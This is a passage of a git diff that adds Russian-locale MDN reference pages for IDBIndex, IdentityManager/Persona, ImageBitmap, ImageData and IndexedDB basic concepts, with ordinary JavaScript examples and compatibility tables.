+ <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, finds either the given key or the primary key, if <code>key</code> is an {{domxref("IDBKeyRange")}}.</dd>
+ <dt>{{domxref("IDBIndex.getAll()")}}</dt>
+ <dd>Returns an {{domxref("IDBRequest")}} object, in a separate thread, finds all matching values in the referenced object store that correspond to the given key or are in range, if <code>key</code> is an {{domxref("IDBKeyRange")}}.</dd>
+ <dt>{{domxref("IDBIndex.getAllKeys()")}}</dt>
+ <dd>Returns an {{domxref("IDBRequest")}} object, in a separate thread, finds all matching keys in the referenced object store that correspond to the given key or are in range, if <code>key</code> is an {{domxref("IDBKeyRange")}}.</dd>
+ <dt>{{domxref("IDBIndex.openCursor()")}}</dt>
+ <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, creates a <a href="/en/IndexedDB#gloss_cursor" title="en/IndexedDB#gloss cursor">cursor</a> over the specified key range.</dd>
+ <dt>{{domxref("IDBIndex.openKeyCursor()")}}</dt>
+ <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, creates a cursor over the specified key range, as arranged by this index.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>In the following example we open a transaction and an object store, then get the index <code>lName</code> from a simple contacts database. We then open a basic cursor on the index using {{domxref("IDBIndex.openCursor")}} — this works the same as opening a cursor directly on an <code>ObjectStore</code> using {{domxref("IDBObjectStore.openCursor")}} except that the returned records are sorted based on the index, not the primary key.</p>
+
+<p>Finally, we iterate through each record, and insert the data into an HTML table. For a complete working example, see our <a href="https://mdn.github.io/indexeddb-examples/idbindex/">IDBIndex-example demo repo</a> (<a href="https://github.com/mdn/indexeddb-examples/tree/master/idbindex">View the example live</a>.)</p>
+
+<pre class="brush: js" style="font-size: 14px;">function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  var objectStore = transaction.objectStore('contactsList');
+
+  var myIndex = objectStore.index('lName');
+  myIndex.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '&lt;td&gt;' + cursor.value.id + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.lName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.fName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.jTitle + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.company + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.eMail + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.phone + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.age + '&lt;/td&gt;';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Entries all displayed.');
+    }
+  };
+};</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#idl-def-IDBIndex', 'IDBIndex')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("IndexedDB 2", "#index-interface", "IDBIndex")}}</td>
+   <td>{{Spec2("IndexedDB 2")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.IDBIndex")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li>
+ <li>Starting transactions: {{domxref("IDBDatabase")}}</li>
+ <li>Using transactions: {{domxref("IDBTransaction")}}</li>
+ <li>Setting a range of keys: {{domxref("IDBKeyRange")}}</li>
+ <li>Retrieving and making changes to your data: {{domxref("IDBObjectStore")}}</li>
+ <li>Using cursors: {{domxref("IDBCursor")}}</li>
+ <li>Reference example: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/ru/web/api/idbindex/locale/index.html b/files/ru/web/api/idbindex/locale/index.html
new file mode 100644
index 0000000000..943e5a1ffe
--- /dev/null
+++ b/files/ru/web/api/idbindex/locale/index.html
@@ -0,0 +1,76 @@
+---
+title: IDBIndex.locale
+slug: Web/API/IDBIndex/locale
+translation_of: Web/API/IDBIndex/locale
+---
+<div>{{APIRef("IndexedDB")}}{{SeeCompatTable}}</div>
+
+<p>The <strong><code>locale</code></strong> read-only property of the {{domxref("IDBIndex")}} interface returns the locale of the index (for example <code>en-US</code>, or <code>pl</code>) if it had a <code>locale</code> value specified upon its creation (see <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.) Note that this property always returns the current locale being used in this index, in other words, it never returns <code>"auto"</code>.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">var myIndex = objectStore.index('index');
+console.log(myIndex.locale);</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>A {{domxref("DOMString")}}.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>In the following example we open a transaction and an object store, then get the index <code>lName</code> from a simple contacts database. We then open a basic cursor on the index using {{domxref("IDBIndex.openCursor")}} — this works the same as opening a cursor directly on an <code>ObjectStore</code> using {{domxref("IDBObjectStore.openCursor")}} except that the returned records are sorted based on the index, not the primary key.</p>
+
+<p>The <code>locale</code> value is logged to the console.</p>
+
+<pre class="brush:js">function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  var objectStore = transaction.objectStore('contactsList');
+
+  var myIndex = objectStore.index('lName');
+  console.log(myIndex.locale);
+
+  myIndex.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '&lt;td&gt;' + cursor.value.id + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.lName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.fName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.jTitle + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.company + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.eMail + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.phone + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.age + '&lt;/td&gt;';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Entries all displayed.');
+    }
+  };
+};</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<p>Not currently part of any specification.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.IDBIndex.locale")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li>
+ <li>Starting transactions: {{domxref("IDBDatabase")}}</li>
+ <li>Using transactions: {{domxref("IDBTransaction")}}</li>
+ <li>Setting a range of keys: {{domxref("IDBKeyRange")}}</li>
+ <li>Retrieving and making changes to your data: {{domxref("IDBObjectStore")}}</li>
+ <li>Using cursors: {{domxref("IDBCursor")}}</li>
+ <li>Reference example: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/ru/web/api/identitymanager/index.html b/files/ru/web/api/identitymanager/index.html
new file mode 100644
index 0000000000..01b4a96364
--- /dev/null
+++ b/files/ru/web/api/identitymanager/index.html
@@ -0,0 +1,47 @@
+---
+title: IdentityManager
+slug: Web/API/IdentityManager
+tags:
+  - API
+  - Persona
+  - Reference
+translation_of: Archive/IdentityManager
+---
+<p>{{APIRef("Persona")}}{{non-standard_header}}</p>
+
+<p>The <strong><code>IdentityManager</code></strong> of the  <a href="/en-US/docs/Persona" title="BrowserID">BrowserID protocol</a> exposes the BrowserID API, via {{domxref("navigator.id")}}. This API has gone through several significant revisions. Each generation is listed separately below.</p>
+
+<h2 id="ObserverMethods" name="ObserverMethods">The "Observer" API (Current)</h2>
+
+<p>The Observer API introduces much-requested features, such as an improved post-verification experience for first-time users, automatic persistent logins, and easier integration with native applications.</p>
+
+<dl>
+ <dt>{{ domxref("IdentityManager.watch()")}}</dt>
+ <dd>Registers callbacks to be invoked when a user logs into or out of a website.</dd>
+ <dt>{{ domxref("IdentityManager.request()")}}</dt>
+ <dd>Requests a signed identity assertion from the user.</dd>
+ <dt>{{ domxref("IdentityManager.logout()")}}</dt>
+ <dd>Logs the user out of a website and prevents the <code>onlogin</code> action from automatically firing on their next visit.</dd>
+</dl>
+
+<div class="note">
+<p>Users with third-party cookies disabled may experience problems logging in using the Observer API as detailed in <a href="https://github.com/mozilla/browserid/issues/2999" title="https://github.com/mozilla/browserid/issues/2999">issue 2999</a>.</p>
+</div>
+
+<h2 id="CallbackMethods" name="CallbackMethods">The "Callback" API (Current)</h2>
+
+<p>The Callback API was introduced in November 2011. It improved upon the initial API by allowing options to be passed to <code>navigator.id.get()</code> and offering experimental support for BrowserID-managed persistent sessions.</p>
+
+<dl>
+ <dt>{{ domxref("IdentityManager.get()")}}</dt>
+ <dd>Gets the user's BrowserID in a signed assertion.</dd>
+</dl>
+
+<h2 id="VerifiedEmailMethods" name="VerifiedEmailMethods">The "VerifiedEmail" API (Deprecated)</h2>
+
+<p>The VerifiedEmail API was BrowserID's first API. It was deprecated at the end of 2011.</p>
+
+<dl>
+ <dt>{{ domxref("IdentityManager.getVerifiedEmail()")}} {{ deprecated_inline() }}</dt>
+ <dd>Gets the user's BrowserID in a signed assertion. This method is deprecated; {{ domxref("navigator.id.get()")}} is backwards compatible and can be used instead.</dd>
+</dl>
diff --git a/files/ru/web/api/identitymanager/request/index.html b/files/ru/web/api/identitymanager/request/index.html
new file mode 100644
index 0000000000..2923f0a359
--- /dev/null
+++ b/files/ru/web/api/identitymanager/request/index.html
@@ -0,0 +1,88 @@
+---
+title: navigator.id.request
+slug: Web/API/IdentityManager/request
+tags:
+  - API
+  - BrowserID
+  - DOM
+  - Persona
+  - Безопасность
+  - Использование
+  - Настройка
+  - Справка
+  - запрос
+  - метод
+  - не стандартный
+  - справка DOM
+  - справка Gecko DOM
+translation_of: Archive/IdentityManager/request
+---
+<div>{{ ApiRef }}</div>
+
+<h2 id="Summary" name="Summary">Кратко</h2>
+
+<p>Эта функция позволяет использовать <a href="/en-US/docs/Persona" title="BrowserID">Persona</a> для аутентификации пользователей на вебсайте. Она должна вызываться внутри обработки щелчка мыши, к примеру, вы должны вызвать её, когда пользователь щелкнул по кнопке «Войти с помощью Persona».</p>
+
+<p>Когда функция <code>navigator.id.request()</code> вызвана она попросит пользователя выбрать адрес электронной почты, который он желает использовать для входа, а также попросит пройти процедуру аутентификации у поставщика услуг (электронной почты, <em>прим. переводчика</em>), если срок сертификата пользователя истёк. После этого, она создаёт подписанную <strong>заявку</strong> (assertion), содержащую адрес эл.почты пользователя и передаёт эту заявку функции <code>onlogin</code>, зарегистрированной с помощью {{domxref("navigator.id.watch()")}}.</p>
+
+<p>Эта функция должна использоваться <strong>обязательно</strong> в связке с  {{domxref("navigator.id.watch()")}}<code>.</code></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">navigator.id.request();
+navigator.id.request({siteName: 'Название сайта', siteLogo: '/logo.png'});
+navigator.id.request({termsOfService: '/tos.html', privacyPolicy: '/privacy.html'});
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>backgroundColor</code> {{ optional_inline() }}</dt>
+ <dd>Шестнадцатеричный код цвета для фона диалогового окна. Формат: <code>"#rgb"</code> или <code>"#rrggbb"</code>.</dd>
+ <dt><code>oncancel</code> {{ optional_inline() }}</dt>
+ <dd>Функция, которую следует вызвать в случае отказа пользователя предоставить свой идентификатор сайту.</dd>
+ <dt><code>privacyPolicy</code> {{ optional_inline() }}</dt>
+ <dd><em>Должен передаваться по SSL. Так же должен быть передан параметр <code>termsOfService </code>(Условия Предоставления Услуг).</em></dd>
+ <dd>Абсолютный путь или URL до описания политики конфиденциальности веб-сайта. Если этот параметр предоставлен, тогда так же должен быть предоставлен параметр <code>termsOfService</code>. Когда оба эти параметра (<code>termsOfService</code> и <code>privacyPolicy</code>) переданы диалоговое окно входа будет содержать предупреждение для пользователя: "продолжив вход, вы соглашаетесь с политиками использования и конфиденциальности сайта". Так же в диалоговом окне будут размещены ссылки на описания этих политик.</dd>
+ <dt><code>returnTo</code> {{ optional_inline() }}</dt>
+ <dd>Абсолютный путь на который будут отправлены новые пользователи, закончившие процедуру проверки эл.почты в первый раз. Путь должен начинаться с '<code>/</code>'. Этот параметр действует только на тех пользователей, которые проходят сертификацию через запсную Службу Предоставления Идентификаторов от Mozilla <em>(Mozilla's Identity Provider, - прим.)</em>. Предоставляемое значение должно указывать реально существующий путь, который может быть использован так же в качестве локации окна – window.location.</dd>
+ <dt><code>siteLogo</code> {{ optional_inline() }}</dt>
+ <dd><em>Должен передаваться по SSL.</em></dd>
+ <dd>Абсолютный путь до изображения, которое будет отображаться в диалоговом окне входа. Путь должен начинаться с '<code>/</code>'. Изображения, превышающие размер 100x100 пикселей будут маштабированы до этого размера.</dd>
+ <dt><code>siteName</code> {{ optional_inline() }}</dt>
+ <dd>Название вашего сайта, которое будет отображаться в диалоговом окне входа в формате простого текста <em>(plain text - прим.)</em>. Допустимы символы Юникода и пробельные символы, но не разметка.</dd>
+ <dt><code>termsOfService</code> {{ optional_inline() }}</dt>
+ <dd><em>Должен передаваться по SSL. Так же должен быть предоставлен параметр <code>privacyPolicy</code></em> <em>(Политика Конфиденциальности).</em></dd>
+ <dd>Абсолютный путь или URL адрес до описания условий предоставления услуг веб-сайта. Если этот параметр указан, тогда так же должен быть указан параметр <code>privacyPolicy</code>.  Когда оба эти параметра (<code>termsOfService</code> и <code>privacyPolicy</code>) переданы диалоговое окно входа будет содержать предупреждение для пользователя: "продолжив вход, вы соглашаетесь с политиками использования и конфиденциальности сайта". Так же в диалоговом окне будут размещены ссылки на описания этих политик.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js;">var signinLink = document.getElementById('signin');
+
+if (signinLink) {
+  signinLink.onclick = function(evt) {
+    // Запрашивает подписанную идентификационную заявку от пользователя.
+    navigator.id.request({
+      siteName: 'Мой Сайт',
+      siteLogo: '/logo.png',
+      termsOfService: '/tos.html',
+      privacyPolicy: '/privacy.html',
+      returnTo: '/welcome.html',
+      oncancel: function() { alert('Пользователь отказался идентифицироваться.'); }
+    });
+  };
+}</pre>
+
+<h2 id="Specification" name="Specification">Технические описания (Спецификации)</h2>
+
+<p>Не включена ни в одно техническое описание.</p>
+
+<h2 id="See_also" name="See_also">Также смотрите</h2>
+
+<ul>
+ <li><a href="/ru/Persona" title="BrowserID">BrowserID</a></li>
+ <li>{{domxref("navigator.id")}}</li>
+ <li>{{domxref("navigator.id.watch()")}}</li>
+ <li>{{domxref("navigator.id.logout()")}}</li>
+</ul>
diff --git a/files/ru/web/api/imagebitmap/index.html b/files/ru/web/api/imagebitmap/index.html
new file mode 100644
index 0000000000..6d5802b4ed
--- /dev/null
+++ b/files/ru/web/api/imagebitmap/index.html
@@ -0,0 +1,68 @@
+---
+title: ImageBitmap
+slug: Web/API/ImageBitmap
+tags:
+  - API
+  - Canvas
+  - ImageBitmap
+  - Interface
+  - Reference
+  - Интерфейс
+  - Ссылка
+translation_of: Web/API/ImageBitmap
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p>Интерфейс <code><strong>ImageBitmap</strong></code> представляет собой bitmap изображение которое может быть нарисовано на {{HTMLElement("canvas")}} без чрезмерной задержки. Создать его можно несколькими способами используя {{domxref("ImageBitmapFactories.createImageBitmap", "createImageBitmap()")}}. <code>ImageBitmap</code> предоставляет асинхронный и ресурсоэффективный метод подготовки текстур для рендеринга в WebGL.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("ImageBitmap.height")}} {{readonlyInline}}</dt>
+ <dd>Высота  <code>ImageData</code> в CSS пикселях типа <code>unsigned</code> <code>long</code>.</dd>
+ <dt>{{domxref("ImageBitmap.width")}} {{readonlyInline}}</dt>
+ <dd>Ширина  <code>ImageData</code> в CSS пикселях типа <code>unsigned</code> <code>long</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("ImageBitmap.close()")}}</dt>
+ <dd>
+ <p>Удаляет все графические ресурсы связанные с <code>ImageBitmap</code>.</p>
+ </dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "webappapis.html#imagebitmap", "ImageBitmap")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("api.ImageBitmap")}}</p>
+
+<h2 id="Полезные_ссылки">Полезные ссылки</h2>
+
+<ul>
+ <li>{{domxref("ImageBitmapFactories.createImageBitmap()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.drawImage()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.texImage2D()")}}</li>
+ <li>{{domxref("OffScreenCanvas.transferToImageBitmap()")}}</li>
+</ul>
diff --git a/files/ru/web/api/imagedata/index.html b/files/ru/web/api/imagedata/index.html
new file mode 100644
index 0000000000..4614ea0d39
--- /dev/null
+++ b/files/ru/web/api/imagedata/index.html
@@ -0,0 +1,142 @@
+---
+title: ImageData
+slug: Web/API/ImageData
+translation_of: Web/API/ImageData
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p><font face="Open Sans, Arial, sans-serif">Интерфейс </font><code><strong>ImageData</strong></code> представляет лежащие в основе пиксельные данные области элемента {{HTMLElement("canvas")}}. Он создан используя конструктор {{domxref("ImageData.ImageData", "ImageData()")}} или метод создания объекта {{domxref("CanvasRenderingContext2D")}} ассоциированного с canvas: {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}} и {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}}. Он также может быть использован для установки части canvas используя метод {{domxref("CanvasRenderingContext2D.putImageData", "putImageData()")}}.</p>
+
+<h2 id="Конструкторы">Конструкторы</h2>
+
+<dl>
+ <dt>{{domxref("ImageData.ImageData", "ImageData()")}} {{experimental_inline}}</dt>
+ <dd>Создаёт ImageData из указанного {{jsxref("Uint8ClampedArray")}} и из размера изображения которого он содержит. Если массив не указан, то он создаёт изображение чёрного прямоугольника. Обратите внимание, что такой довольно распространённый путь создания подобного объекта в worker'ах как {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}} там не доступен.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("ImageData.data")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{jsxref("Uint8ClampedArray")}} представляющий собой одномерный массив, содержащий данные цветовой модели RGBA, с целыми значениями от 0 до 255 (включительно).</dd>
+ <dt>{{domxref("ImageData.height")}} {{readonlyInline}}</dt>
+ <dd>Фактическая высота в пикселях объекта <code>ImageData</code>.</dd>
+ <dt>{{domxref("ImageData.width")}} {{readonlyInline}}</dt>
+ <dd>Фактическая ширина в пикселях объекта <code>ImageData</code>.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-canvas-element.html#imagedata", "ImageData")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>{{CompatGeckoDesktop("14")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td>Support in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ImageData()</code> constructor</td>
+   <td>{{CompatChrome("43")}}</td>
+   <td>{{CompatGeckoDesktop("29")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("30")}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("14")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0</td>
+   <td>3.2</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Support in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ImageData()</code> constructor</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("29")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>The {{HTMLElement("canvas")}} element and its associated interface, {{domxref("HTMLCanvasElement")}}.</li>
+</ul>
diff --git a/files/ru/web/api/index.html b/files/ru/web/api/index.html
new file mode 100644
index 0000000000..9e798ecca0
--- /dev/null
+++ b/files/ru/web/api/index.html
@@ -0,0 +1,25 @@
+---
+title: Интерфейсы веб API
+slug: Web/API
+tags:
+  - API
+  - Apps
+  - JavaScript
+  - Reference
+  - Web
+  - Руководство
+translation_of: Web/API
+---
+<p>При написании кода на JavaScript для Веба доступно большое количество API. Ниже приведён список всех интерфейсов (то есть, типов объектов), которые вы можете использовать при разработке веб-приложения или сайта.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Список доступных API.</p>
+
+<p>{{ListGroups}}</p>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<p>Список доступных интерфейсов (типы объектов).</p>
+
+<div>{{APIListAlpha}}</div>
diff --git a/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html b/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html
new file mode 100644
index 0000000000..1864f35f8d
--- /dev/null
+++ b/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html
@@ -0,0 +1,213 @@
+---
+title: Basic concepts
+slug: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB
+translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB
+---
+<p>{{DefaultAPISidebar("IndexedDB")}}</p>
+
+<div class="summary">
+<p><strong>IndexedDB</strong> обеспечивает возможность постоянного хранения данных посредством браузера пользователя. Поскольку это наделяет создаваемые web-приложения с расширенными возможностями независимостью от доступа к сети, такие приложения получают возможность работы как online, так и offline. <strong>IndexedDB</strong> полезна для приложений, хранящих большое количество данных (например, каталог DVD библиотеки проката) и не нуждающихся в постоянном подключении к Интернету (например, почтовые клиенты, перечни запланированного to-do и заметки на память).</p>
+</div>
+
+<h2 id="Об_этом_документе">Об этом документе</h2>
+
+<p>В этом введении рассматриваются основные концепции и термины в IndexedDB. Оно содержит общую картину и объясняет ключевые понятия.</p>
+
+<p>Оно может стать полезным для:</p>
+
+<ul>
+ <li>Общего понимания дизайна и страуктуры IndexedDB, смотри <a href="#concepts">Big Concepts</a>.</li>
+ <li>Изучения большего о терминах в IndexedDB, смотри секцию <a href="#definitions">Definitions</a>.</li>
+ <li>Детального руководства как использовать API, смотри <a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB" title="en/IndexedDB/IndexedDB primer">Using IndexedDB</a>.</li>
+ <li>Рекомендованной документации по IndexedDB API, ссылаясь на основные статьи по <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB API</a> и его подстраницы, описывающие, какие типы объектов используются в IndexedDB.</li>
+ <li>Получения больше информации о том, как браузер управляет сохранением данных в бекграунде, читай <a href="/en-US/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">Browser storage limits and eviction criteria</a>.</li>
+</ul>
+
+<h2 id="Обзор_IndexedDB">Обзор IndexedDB</h2>
+
+<p>IndexedDB позволяет сохранять и извлекать объекты, проиндексированные с помощью "ключа". Все манипуляции над базой данных происходят при помощи транзакций. Как и большинство решений для web-хранилищ, IndexedDB следует <a class="external" href="http://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">same-origin policy</a>. Поэтому, если получить доступ к сохраненным данным в пределах домена можно, то вне его - нет.</p>
+
+<p>IndexedDB - <a href="/en/IndexedDB#Asynchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Asynchronous_API">ассинхронное</a> API, которое может быть использовано в большинстве контекстов, включая <a href="/ru/docs/Web/API/Web_Workers_API/Using_web_workers" title="https://developer.mozilla.org/En/Using_web_workers">Web Workers</a>. Раньше оно включало <a href="/en/IndexedDB#Synchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Synchronous_API">синхронную</a> версию, для использования в web workers, но это было удалено из спецификации в связи с недостатком интереса внутри web-сообщеста.</p>
+
+<p>Существует так же конкурирующая с IndexedDB спецификация, WebSQL Database, но W3C исключила ее 18 ноября 2010. Хотя IndexedDB и WebSQL оба являются решением для хранилищ, они предоставляют различный функционал. WebSQL Database - реляционная система доступа к базам данных, когда IndexedDB - система индексированной таблицы.</p>
+
+<h2 id="concepts" name="concepts">Big concepts</h2>
+
+<p>Если у вас есть опыт работы с другими типами баз данных, то вы можете быть сбиты с толку в процессе работы с IndexedDB. Поэтому имейте в виду следующие важные понятия:</p>
+
+<ul>
+ <li>
+  <p><strong>IndexedDB databases store key-value pairs.</strong> The values can be complex structured objects, and keys can be properties of those objects. You can create indexes that use any property of the objects for quick searching, as well as sorted enumeration. Keys can be binary objects.</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB is built on a transactional database model</strong>. Everything you do in IndexedDB always happens in the context of a <a href="#gloss_transaction">transaction</a>. The IndexedDB API provides lots of objects that represent indexes, tables, cursors, and so on, but each of these is tied to a particular transaction. Thus, you cannot execute commands or open cursors outside of a transaction. Transactions have a well-defined lifetime, so attempting to use a transaction after it has completed throws exceptions. Also, transactions auto-commit and cannot be committed manually.</p>
+
+  <p>This transaction model is really useful when you consider what might happen if a user opened two instances of your web app in two different tabs simultaneously. Without transactional operations, the two instances could interfere with each other's modifications. If you are not familiar with transactions in a database, read the <a class="link-https" href="https://en.wikipedia.org/wiki/Database_transaction" title="https://secure.wikimedia.org/wikipedia/en/wiki/Database_transaction">Wikipedia article on transactions</a>. Also see <a href="#gloss_transaction">transaction</a> under the Definitions section.</p>
+ </li>
+ <li>
+  <p><strong>The IndexedDB API is mostly asynchronous.</strong> The API doesn't give you data by returning values; instead, you have to pass a callback function. You don't "store" a value into the database, or "retrieve" a value out of the database through synchronous means. Instead, you "request" that a database operation happens. You get notified by a DOM event when the operation finishes, and the type of event you get lets you know if the operation succeeded or failed. This sounds a little complicated at first, but there are sanity measures baked in. It's not that different from the way that <a href="/en/DOM/XMLHttpRequest" title="https://developer.mozilla.org/en/xmlhttprequest">XMLHttpRequest</a> works.</p>
+ </li>
+ <li>
